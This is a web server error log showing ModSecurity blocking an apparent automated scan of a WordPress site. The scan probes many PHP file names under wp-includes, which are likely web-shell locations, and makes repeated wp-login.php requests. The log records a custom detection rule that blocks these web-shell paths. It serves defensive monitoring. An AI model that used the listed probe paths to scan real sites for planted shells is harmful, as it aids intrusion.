[Mon Feb 23 20:46:49.337726 2026] [:error] [pid 25380:tid 25387] [client 45.133.5.160:57965] [client 45.133.5.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZxMOaKrc8yFQ8fy78pCDQAAAMU"]
[Mon Feb 23 20:47:01.014287 2026] [:error] [pid 39540:tid 39569] [client 45.133.5.132:50287] [client 45.133.5.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aZxMRbsgm9aTWhlRScK4VwAAAcA"]
[Mon Feb 23 20:47:05.340876 2026] [:error] [pid 39540:tid 39592] [client 45.133.5.146:29033] [client 45.133.5.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aZxMSbsgm9aTWhlRScK4YgAAAdc"]
[Mon Feb 23 20:47:21.269343 2026] [:error] [pid 39540:tid 39574] [client 45.133.5.146:29033] [client 45.133.5.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aZxMWbsgm9aTWhlRScK4ggAAAcU"]
[Mon Feb 23 20:47:24.503684 2026] [:error] [pid 39640:tid 39687] [client 45.133.5.108:61031] [client 45.133.5.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZxMXNsK--eVCgzvvufhIgAAApE"]
[Mon Feb 23 20:47:27.422778 2026] [:error] [pid 39640:tid 39693] [client 45.133.5.108:61031] [client 45.133.5.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aZxMX9sK--eVCgzvvufhJwAAApc"]
[Mon Feb 23 20:47:38.405292 2026] [:error] [pid 39538:tid 39553] [client 45.133.5.111:62349] [client 45.133.5.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aZxMai4Zk8-cQOG3Znpy0AAAAYs"]
[Mon Feb 23 20:47:50.455338 2026] [:error] [pid 39639:tid 39661] [client 45.133.5.110:62571] [client 45.133.5.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZxMdhpFkMoMi8uTUUPX2gAAAlI"]
[Mon Feb 23 20:47:53.598516 2026] [:error] [pid 29909:tid 29931] [client 45.133.5.144:59281] [client 45.133.5.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aZxMeT9oc2QzltksUk7eHgAAARQ"]
[Mon Feb 23 20:47:58.016708 2026] [:error] [pid 39639:tid 39660] [client 45.133.5.107:36395] [client 45.133.5.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-login.php"] [unique_id "aZxMfhpFkMoMi8uTUUPX4wAAAlE"]
[Mon Feb 23 20:47:59.314993 2026] [:error] [pid 39639:tid 39648] [client 45.133.5.107:36395] [client 45.133.5.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aZxMfxpFkMoMi8uTUUPX5AAAAkU"]
[Mon Feb 23 20:48:22.087266 2026] [:error] [pid 25294:tid 25354] [client 45.133.5.107:26917] [client 45.133.5.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aZxMliRCFB3CqIo_jfbosQAAAEo"]
[Mon Feb 23 20:48:26.601309 2026] [:error] [pid 29909:tid 29914] [client 45.133.5.132:30533] [client 45.133.5.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aZxMmj9oc2QzltksUk7eNAAAAQM"]
[Mon Feb 23 20:48:32.329531 2026] [:error] [pid 29909:tid 29926] [client 45.133.5.132:30533] [client 45.133.5.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aZxMoD9oc2QzltksUk7eOQAAAQ8"]
[Mon Feb 23 20:48:34.262860 2026] [:error] [pid 39540:tid 39569] [client 45.133.5.161:53047] [client 45.133.5.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/infi.php"] [unique_id "aZxMorsgm9aTWhlRScK5JgAAAcA"]
[Mon Feb 23 20:48:37.022503 2026] [:error] [pid 39540:tid 39581] [client 45.133.5.121:40611] [client 45.133.5.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aZxMpbsgm9aTWhlRScK5LAAAAcw"]
[Mon Feb 23 20:48:41.912377 2026] [:error] [pid 39639:tid 39660] [client 45.133.5.137:37833] [client 45.133.5.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "aZxMqRpFkMoMi8uTUUPYPAAAAlE"]
[Mon Feb 23 20:48:42.132343 2026] [:error] [pid 39540:tid 39574] [client 45.133.5.147:48035] [client 45.133.5.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aZxMqrsgm9aTWhlRScK5NQAAAcU"]
[Mon Feb 23 20:48:48.922233 2026] [:error] [pid 39538:tid 39552] [client 45.133.5.106:23575] [client 45.133.5.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aZxMsC4Zk8-cQOG3ZnpzGQAAAYo"]
[Mon Feb 23 20:48:50.717542 2026] [:error] [pid 25294:tid 25366] [client 45.133.5.118:36247] [client 45.133.5.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aZxMsiRCFB3CqIo_jfbo2gAAAFA"]
[Mon Feb 23 20:48:55.039569 2026] [:error] [pid 25294:tid 25350] [client 45.133.5.149:43205] [client 45.133.5.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aZxMtyRCFB3CqIo_jfbo5gAAAEg"]
[Mon Feb 23 20:48:59.871691 2026] [:error] [pid 39640:tid 39679] [client 45.133.5.154:56567] [client 45.133.5.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aZxMu9sK--eVCgzvvufhXgAAAok"]
[Mon Feb 23 20:49:03.111441 2026] [:error] [pid 25294:tid 25354] [client 45.133.5.155:33289] [client 45.133.5.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/click.php"] [unique_id "aZxMvyRCFB3CqIo_jfbo-wAAAEo"]
[Mon Feb 23 20:49:07.667138 2026] [:error] [pid 25294:tid 25328] [client 45.133.5.108:23713] [client 45.133.5.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aZxMwyRCFB3CqIo_jfbpBgAAAEA"]
[Mon Feb 23 20:49:16.772814 2026] [:error] [pid 39540:tid 39590] [client 45.133.5.153:29141] [client 45.133.5.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aZxMzLsgm9aTWhlRScK5bwAAAdU"]
[Mon Feb 23 20:49:17.013194 2026] [:error] [pid 39540:tid 39587] [client 45.133.5.154:51127] [client 45.133.5.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/xl2023.php"] [unique_id "aZxMzbsgm9aTWhlRScK5cAAAAdI"]
[Mon Feb 23 20:49:17.231351 2026] [:error] [pid 39640:tid 39673] [client 45.133.5.132:25573] [client 45.133.5.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aZxMzdsK--eVCgzvvufhdAAAAoM"]
[Mon Feb 23 20:49:17.476929 2026] [:error] [pid 39639:tid 39649] [client 45.133.5.132:24071] [client 45.133.5.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aZxMzRpFkMoMi8uTUUPYkwAAAkY"]
[Mon Feb 23 20:49:19.219950 2026] [:error] [pid 39640:tid 39682] [client 45.133.5.123:55305] [client 45.133.5.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aZxMz9sK--eVCgzvvufhdgAAAow"]
[Mon Feb 23 20:49:19.440073 2026] [:error] [pid 25380:tid 25399] [client 45.133.5.160:46395] [client 45.133.5.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aZxMz6Krc8yFQ8fy78pDAgAAANE"]
[Mon Feb 23 20:49:22.921148 2026] [:error] [pid 39504:tid 39519] [client 45.133.5.136:65067] [client 45.133.5.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aZxM0nLcHpOlI9gwwJoc-wAAAU0"]
[Mon Feb 23 20:49:23.198812 2026] [:error] [pid 25295:tid 25347] [client 45.133.5.132:36613] [client 45.133.5.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZxM042Av4J1Jnqi7yLE-wAAAI0"]
[Mon Feb 23 20:49:23.484069 2026] [:error] [pid 29909:tid 29935] [client 45.133.5.115:32245] [client 45.133.5.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aZxM0z9oc2QzltksUk7eTgAAARg"]
[Mon Feb 23 20:49:23.739634 2026] [:error] [pid 39639:tid 39667] [client 45.133.5.120:41745] [client 45.133.5.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/security.php"] [unique_id "aZxM0xpFkMoMi8uTUUPYqAAAAlg"]
[Mon Feb 23 20:49:25.617257 2026] [:error] [pid 39639:tid 39647] [client 45.133.5.150:32579] [client 45.133.5.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aZxM1RpFkMoMi8uTUUPYrAAAAkQ"]
[Mon Feb 23 20:49:28.723799 2026] [:error] [pid 39540:tid 39579] [client 45.133.5.106:52335] [client 45.133.5.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/about.php"] [unique_id "aZxM2Lsgm9aTWhlRScK5lwAAAco"]
[Mon Feb 23 20:49:35.235172 2026] [:error] [pid 39640:tid 39670] [client 45.133.5.147:45975] [client 45.133.5.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aZxM39sK--eVCgzvvufhfwAAAoA"]
[Mon Feb 23 20:49:45.154830 2026] [:error] [pid 39538:tid 39566] [client 45.133.5.144:21491] [client 45.133.5.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/file.php"] [unique_id "aZxM6S4Zk8-cQOG3ZnpzRQAAAZg"]
[Mon Feb 23 20:49:49.489341 2026] [:error] [pid 29909:tid 29918] [client 45.133.5.136:41465] [client 45.133.5.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aZxM7T9oc2QzltksUk7eWwAAAQc"]
[Mon Feb 23 20:49:49.737016 2026] [:error] [pid 39538:tid 39557] [client 45.133.5.160:63469] [client 45.133.5.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aZxM7S4Zk8-cQOG3ZnpzRgAAAY8"]
[Mon Feb 23 20:49:56.937269 2026] [:error] [pid 39538:tid 39561] [client 45.133.5.160:20363] [client 45.133.5.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZxM9C4Zk8-cQOG3ZnpzSwAAAZM"]
[Mon Feb 23 20:50:01.437849 2026] [proxy_fcgi:error] [pid 39639:tid 39654] [client 45.133.5.117:53037] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:50:01.560806 2026] [proxy_fcgi:error] [pid 39639:tid 39652] [client 45.133.5.117:53037] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:50:01.694596 2026] [proxy_fcgi:error] [pid 39639:tid 39659] [client 45.133.5.117:53037] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:50:06.002714 2026] [:error] [pid 39639:tid 39648] [client 45.133.5.117:53037] [client 45.133.5.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZxM_hpFkMoMi8uTUUPY_wAAAkU"]
[Mon Feb 23 20:50:06.246203 2026] [:error] [pid 25294:tid 25343] [client 45.133.5.135:37575] [client 45.133.5.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aZxM_iRCFB3CqIo_jfbpLAAAAEU"]
[Mon Feb 23 20:50:06.496018 2026] [:error] [pid 39639:tid 39662] [client 45.133.5.151:42203] [client 45.133.5.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aZxM_hpFkMoMi8uTUUPZAAAAAlM"]
[Mon Feb 23 20:50:06.726549 2026] [:error] [pid 39504:tid 39526] [client 45.133.5.118:41077] [client 45.133.5.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aZxM_nLcHpOlI9gwwJodEAAAAVQ"]
[Mon Feb 23 20:50:06.956207 2026] [:error] [pid 39504:tid 39516] [client 45.133.5.148:56971] [client 45.133.5.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aZxM_nLcHpOlI9gwwJodEQAAAUo"]
[Mon Feb 23 20:50:07.248247 2026] [:error] [pid 25294:tid 25360] [client 45.133.5.161:46257] [client 45.133.5.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aZxM_yRCFB3CqIo_jfbpLQAAAE0"]
[Mon Feb 23 20:50:08.517010 2026] [:error] [pid 39538:tid 39548] [client 45.133.5.112:22837] [client 45.133.5.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/index.php"] [unique_id "aZxNAC4Zk8-cQOG3ZnpzTgAAAYY"]
[Mon Feb 23 20:50:08.745566 2026] [:error] [pid 25295:tid 25352] [client 45.133.5.124:40011] [client 45.133.5.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aZxNAI2Av4J1Jnqi7yLFBQAAAI8"]
[Mon Feb 23 20:50:08.977477 2026] [:error] [pid 39639:tid 39646] [client 45.133.5.123:64905] [client 45.133.5.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aZxNABpFkMoMi8uTUUPZBwAAAkM"]
[Mon Feb 23 20:50:09.255819 2026] [:error] [pid 39639:tid 39653] [client 45.133.5.153:43903] [client 45.133.5.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aZxNARpFkMoMi8uTUUPZCgAAAko"]
